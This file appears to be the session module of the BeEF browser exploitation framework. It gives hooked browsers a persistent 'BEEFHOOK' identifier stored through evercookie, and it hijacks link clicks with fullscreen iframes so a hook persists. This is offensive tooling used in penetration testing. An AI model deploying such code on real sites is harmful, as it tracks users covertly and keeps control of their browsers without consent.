103 lines
3.0 KiB
JavaScript
103 lines
3.0 KiB
JavaScript
//
|
|
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
|
//
|
|
// Licensed under the Apache License, Version 2.0 (the "License");
|
|
// you may not use this file except in compliance with the License.
|
|
// You may obtain a copy of the License at
|
|
//
|
|
// http://www.apache.org/licenses/LICENSE-2.0
|
|
//
|
|
// Unless required by applicable law or agreed to in writing, software
|
|
// distributed under the License is distributed on an "AS IS" BASIS,
|
|
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
// See the License for the specific language governing permissions and
|
|
// limitations under the License.
|
|
//
|
|
/*!
|
|
* @literal object: beef.session
|
|
*
|
|
* Provides basic session functions.
|
|
*/
|
|
beef.session = {
|
|
|
|
hook_session_id_length: 80,
|
|
hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
|
|
ec: new evercookie(),
|
|
|
|
/**
|
|
* Gets a string which will be used to identify the hooked browser session
|
|
*
|
|
* @example: var hook_session_id = beef.session.get_hook_session_id();
|
|
*/
|
|
get_hook_session_id: function() {
|
|
// check if the browser is already known to the framework
|
|
var id = this.ec.evercookie_cookie("BEEFHOOK");
|
|
if (typeof id == 'undefined') {
|
|
var id = this.ec.evercookie_userdata("BEEFHOOK");
|
|
}
|
|
if (typeof id == 'undefined') {
|
|
var id = this.ec.evercookie_window("BEEFHOOK");
|
|
}
|
|
|
|
// if the browser is not known create a hook session id and set it
|
|
if ((typeof id == 'undefined') || (id == null)) {
|
|
id = this.gen_hook_session_id();
|
|
this.set_hook_session_id(id);
|
|
}
|
|
|
|
// return the hooked browser session identifier
|
|
return id;
|
|
},
|
|
|
|
/**
|
|
* Sets a string which will be used to identify the hooked browser session
|
|
*
|
|
* @example: beef.session.set_hook_session_id('RANDOMSTRING');
|
|
*/
|
|
set_hook_session_id: function(id) {
|
|
// persist the hook session id
|
|
this.ec.evercookie_cookie("BEEFHOOK", id);
|
|
this.ec.evercookie_userdata("BEEFHOOK", id);
|
|
this.ec.evercookie_window("BEEFHOOK", id);
|
|
},
|
|
|
|
/**
|
|
* Generates a random string using the chars in hook_session_id_chars.
|
|
*
|
|
* @example: beef.session.gen_hook_session_id();
|
|
*/
|
|
gen_hook_session_id: function() {
|
|
// init the return value
|
|
var hook_session_id = "";
|
|
|
|
// construct the random string
|
|
for(var i=0; i<this.hook_session_id_length; i++) {
|
|
var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
|
|
hook_session_id += this.hook_session_id_chars.charAt(rand_num);
|
|
}
|
|
|
|
return hook_session_id;
|
|
},
|
|
|
|
/**
|
|
* Overrides each link, and creates an iframe (loading the href) instead of following the link
|
|
*/
|
|
persistent: function() {
|
|
$j('a').click(function(e) {
|
|
if ($j(this).attr('href') != '')
|
|
{
|
|
e.preventDefault();
|
|
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
|
|
$j(document).attr('title', $j(this).html());
|
|
document.body.scroll = "no";
|
|
document.documentElement.style.overflow = 'hidden';
|
|
}
|
|
});
|
|
}
|
|
|
|
|
|
|
|
};
|
|
|
|
beef.regCmp('beef.session');
|